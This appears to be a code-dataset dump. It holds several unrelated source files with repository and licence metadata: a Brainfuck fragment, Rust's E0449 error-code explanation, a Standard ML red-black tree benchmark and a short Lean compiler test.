++++++++[>+++++++<-]>.[-]<
<[-]]<
// Print " bit cells\n"
+++++++++++[>+++>+++++++++>+++++++++>+<<<<-]>-.>-.+++++++.+++++++++++.<.
>>.++.+++++++..<-.>>-
Clean up used cells.
[-]<[-]<[-]<[-]<
]
| Brainfuck | 4 | RubenNL/brainheck | examples/cell-size-3.bf | [
"Apache-2.0"
] |
A visibility qualifier was used when it was unnecessary.
Erroneous code examples:
```compile_fail,E0449
struct Bar;
trait Foo {
fn foo();
}
pub impl Bar {} // error: unnecessary visibility qualifier
pub impl Foo for Bar { // error: unnecessary visibility qualifier
pub fn foo() {} // error: unnecessary visibility qualifier
}
```
To fix this error, please remove the visibility qualifier when it is not
required. Example:
```
struct Bar;
trait Foo {
fn foo();
}
// Directly implemented methods share the visibility of the type itself,
// so `pub` is unnecessary here
impl Bar {}
// Trait methods share the visibility of the trait, so `pub` is
// unnecessary in either case
impl Foo for Bar {
fn foo() {}
}
```
| Markdown | 4 | Eric-Arellano/rust | compiler/rustc_error_codes/src/error_codes/E0449.md | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
datatype color =
Red
| Black;;
datatype node =
Leaf
| Node of color * node * int * bool * node;;
fun balance1 kv vv t n =
case n of
Node (c, Node (Red, l, kx, vx, r1), ky, vy, r2) => Node (Red, Node (Black, l, kx, vx, r1), ky, vy, Node (Black, r2, kv, vv, t))
| Node (c, l1, ky, vy, Node (Red, l2, kx, vx, r)) => Node (Red, Node (Black, l1, ky, vy, l2), kx, vx, Node (Black, r, kv, vv, t))
| Node (c, l, ky, vy, r) => Node (Black, Node (Red, l, ky, vy, r), kv, vv, t)
| n => Leaf;;
fun balance2 t kv vv n =
case n of
Node (_, Node (Red, l, kx1, vx1, r1), ky, vy, r2) => Node (Red, Node (Black, t, kv, vv, l), kx1, vx1, Node (Black, r1, ky, vy, r2))
| Node (_, l1, ky, vy, Node (Red, l2, kx2, vx2, r2)) => Node (Red, Node (Black, t, kv, vv, l1), ky, vy, Node (Black, l2, kx2, vx2, r2))
| Node (_, l, ky, vy, r) => Node (Black, t, kv, vv, Node (Red, l, ky, vy, r))
| n => Leaf;;
fun is_red t =
case t of
Node (Red, _, _, _, _) => true
| _ => false;;
fun ins t kx vx =
case t of
Leaf => Node (Red, Leaf, kx, vx, Leaf)
| Node (Red, a, ky, vy, b) =>
if kx < ky then Node (Red, ins a kx vx, ky, vy, b)
else if ky = kx then Node (Red, a, kx, vx, b)
else Node (Red, a, ky, vy, ins b kx vx)
| Node (Black, a, ky, vy, b) =>
if kx < ky then
(if is_red a then balance1 ky vy b (ins a kx vx)
else Node (Black, (ins a kx vx), ky, vy, b))
else if kx = ky then Node (Black, a, kx, vx, b)
else if is_red b then balance2 a ky vy (ins b kx vx)
else Node (Black, a, ky, vy, (ins b kx vx));;
fun set_black n =
case n of
Node (_, l, k, v, r) => Node (Black, l, k, v, r)
| e => e;;
fun insert t k v =
if is_red t then set_black (ins t k v)
else ins t k v;;
fun fold f n d =
case n of
Leaf => d
| Node(_, l, k, v, r) => fold f r (f k v (fold f l d));;
fun mk_map_aux freq n m r =
if n = 0 then m::r
else let val n = n-1
val m = insert m n (n mod 10 = 0)
val r = if n mod freq = 0 then m::r else r in
mk_map_aux freq n m r
end
fun mk_map n freq = mk_map_aux freq n Leaf [];;
fun mylen m r =
case m of
[] => r
| (x::xs) =>
case x of
Leaf => mylen xs r
| Node _ => mylen xs (r + 1);;
fun main n freq =
let
val m = mk_map n freq
val v = fold (fn k => fn v => fn r => if v then r + 1 else r) (List.hd m) 0 in
print (Int.toString (mylen m 0) ^ " " ^ Int.toString v)
end
val l = List.map (valOf o Int.fromString) (CommandLine.arguments ())
val _ = main (List.nth (l, 0)) (List.nth (l, 1))
| Standard ML | 5 | JLimperg/lean4 | tests/bench/rbmap_checkpoint2.sml | [
"Apache-2.0"
] |
@[inline] def o (n : ℕ) := prod.mk n n
set_option trace.compiler.inline true
def f := (o 1).fst
| Lean | 3 | ericrbg/lean | tests/lean/inline_bug.lean | [
"Apache-2.0"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.